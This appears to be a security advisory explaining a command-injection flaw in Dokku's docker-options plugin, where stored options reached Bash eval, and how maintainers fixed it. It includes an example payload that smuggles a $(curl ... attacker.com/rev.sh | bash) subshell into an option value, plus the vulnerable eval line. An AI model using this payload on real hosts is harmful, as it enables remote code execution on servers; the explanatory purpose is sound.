Host Command Execution via eval of Unsanitized Docker Options in DOCKER_ARGS
Vulnerability Analysis & Mechanics
The docker-options plugin allows any user with application-level Dokku access to store arbitrary strings as Docker configuration options. These strings were concatenated into the DOCKER_ARGS shell variable and evaluated via Bash eval without validation. Because Bash eval evaluates command substitutions, an authenticated user with SSH access executing docker-options commands can inject $(...) or backtick subshells to execute arbitrary operating system commands directly on the host as the dokku user during build, deploy, or run cycles.
# User with application-level deploy rights sets arbitrary options:
dokku docker-options:add target-app deploy "--label=audit; $(curl -s https://attacker.com/rev.sh | bash); #"
# In Dokku deploy pipeline, DOCKER_ARGS was expanded via eval:
eval "docker run -d $DOCKER_ARGS $IMAGE_NAME"
# -> Impact: The $(...) command substitution evaluates with full privileges on the hosting server!
# Dokku maintainers eliminated the eval sink and transitioned to strict argument array tokenization:
# Direct invocation of docker CLI binaries with escaped positional parameters, removing arbitrary shell evaluation.